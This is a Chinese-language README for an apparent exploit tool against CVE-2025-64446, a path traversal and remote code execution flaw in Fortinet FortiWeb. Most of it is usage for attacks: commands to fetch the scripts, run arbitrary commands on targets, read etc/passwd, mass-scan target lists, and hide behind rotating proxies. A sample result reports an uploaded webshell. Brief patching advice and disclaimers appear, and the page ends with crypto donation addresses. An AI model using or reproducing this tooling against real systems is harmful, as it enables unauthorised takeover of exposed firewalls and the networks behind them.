
用于检测和测试 CVE-2025-64446 (FortiWeb 路径遍历 RCE 漏洞) 的安全研究工具
一款用于检测和测试 Fortinet FortiWeb Web 应用防火墙 (WAF) 中 CVE-2025-64446 漏洞的安全研究工具。此严重零日路径遍历漏洞已在野外被积极利用,允许未经身份验证的攻击者绕过安全控制并执行任意代码。
此工具仅用于授权的安全测试和教育目的。未经授权访问计算机系统是违法的。请仅在你拥有或已获得明确书面许可的系统上使用此工具。
CVE-2025-64446 是 Fortinet FortiWeb WAF 中的一个严重零日路径遍历漏洞,已在野外被积极利用。此漏洞允许未经身份验证的攻击者通过路径遍历攻击绕过安全控制,可能导致远程代码执行、配置文件访问和系统完全沦陷。
CVSS 评分: 9.8(严重)
状态: 在野外被积极利用
CISA KEV: 已添加到已知被利用漏洞目录
补丁: FG-IR-25-910
受影响产品: Fortinet FortiWeb WAF
# 克隆仓库
git clone https://github.com/AN5I/cve-2025-64446-fortiweb-exploit.git
cd cve-2025-64446-fortiweb-exploit
# 安装依赖
pip install -r requirements.txt
# 使脚本可执行(可选)
chmod +x cve_2025_64446_fortiweb_exploit.py
chmod +x cve_2025_64446_poc.py
# 下载脚本
wget https://raw.githubusercontent.com/AN5I/cve-2025-64446-fortiweb-exploit/main/cve_2025_64446_fortiweb_exploit.py
wget https://raw.githubusercontent.com/AN5I/cve-2025-64446-fortiweb-exploit/main/cve_2025_64446_poc.py
# 安装依赖
pip install requests
# 单个目标
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com
# 执行自定义命令
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com -c "whoami"
# 从文件读取多个目标
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt -o results.json
# 启用多线程以加快扫描速度
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com -t 5
# 调试时输出详细信息
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com -v
# 单个代理
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com --proxy http://proxy:port
# 从文件读取多个代理
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt --proxy-list proxies.txt
# 基本 POC 测试
python3 cve_2025_64446_poc.py -u http://target.com
# 测试特定文件
python3 cve_2025_64446_poc.py -u http://target.com -f etc/passwd
# 输出详细信息
python3 cve_2025_64446_poc.py -u http://target.com -v
-u, --url 目标 URL
-f, --file 包含目标 URL 的文件(每行一个)
-c, --command 要执行的命令(默认:id)
-t, --threads 线程数(默认:1)
-o, --output 输出文件(默认:uknf_fortiweb_results.json)
-v, --verbose 启用详细日志
--proxy 代理 URL(例如 http://127.0.0.1:8080)
--proxy-list 包含代理 URL 的文件(每行一个)
脚本会生成一个包含详细结果的 JSON 文件:
{
"target": "http://target.com",
"timestamp": "2025-11-21T00:25:40.123456",
"fortiweb_detected": true,
"vulnerable": true,
"path_traversal_successful": true,
"config_file_read": true,
"webshell_uploaded": true,
"command_executed": "id",
"output": "uid=1000(user) gid=1000(user)...",
"vulnerable_payload": "../../../../etc/passwd"
}
如果你正在使用 FortiWeb WAF:
立即应用安全更新:
# 检查当前版本
show system status
# 更新到最新版本
execute upgrade <firmware-file>
网络隔离:
配置加固:
CISA 要求:
python3 cve_2025_64446_fortiweb_exploit.py -u https://example.com
# 创建目标文件
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# 运行扫描
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt -o results.json
python3 cve_2025_64446_fortiweb_exploit.py -u https://example.com -c "uname -a"
# 单个代理
python3 cve_2025_64446_fortiweb_exploit.py -u https://example.com --proxy http://127.0.0.1:8080
# 从文件读取多个代理
echo "http://proxy1:8080" > proxies.txt
echo "http://proxy2:8080" >> proxies.txt
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt --proxy-list proxies.txt
# 基本 POC
python3 cve_2025_64446_poc.py -u https://example.com
# 测试特定文件
python3 cve_2025_64446_poc.py -u https://example.com -f etc/passwd
欢迎贡献!请随时提交 Pull Request。
git checkout -b feature/AmazingFeature)git commit -m '添加了一些 AmazingFeature')git push origin feature/AmazingFeature)如果你遇到任何问题或有建议,请在 GitHub 上提交 issue。
本项目采用 MIT 许可证 - 详情请参见 LICENSE 文件。
如果你觉得这个工具有用,请考虑在 GitHub 上给它一个 star!
此工具仅供教育和授权安全测试目的使用。作者不对任何滥用或由本程序造成的损害负责。用户有责任确保在测试任何系统前获得适当授权。
如果你觉得此工具有用并希望支持本项目:
比特币(BTC):
bc1qj95y35w8r2mw0u28zrm3dmxtzjkq258xdv8tzv
以太坊(ETH):
0x3DC302a3f35F6cD1A03FF4982EcE0dE8fE1cEba7
感谢你的支持!🙏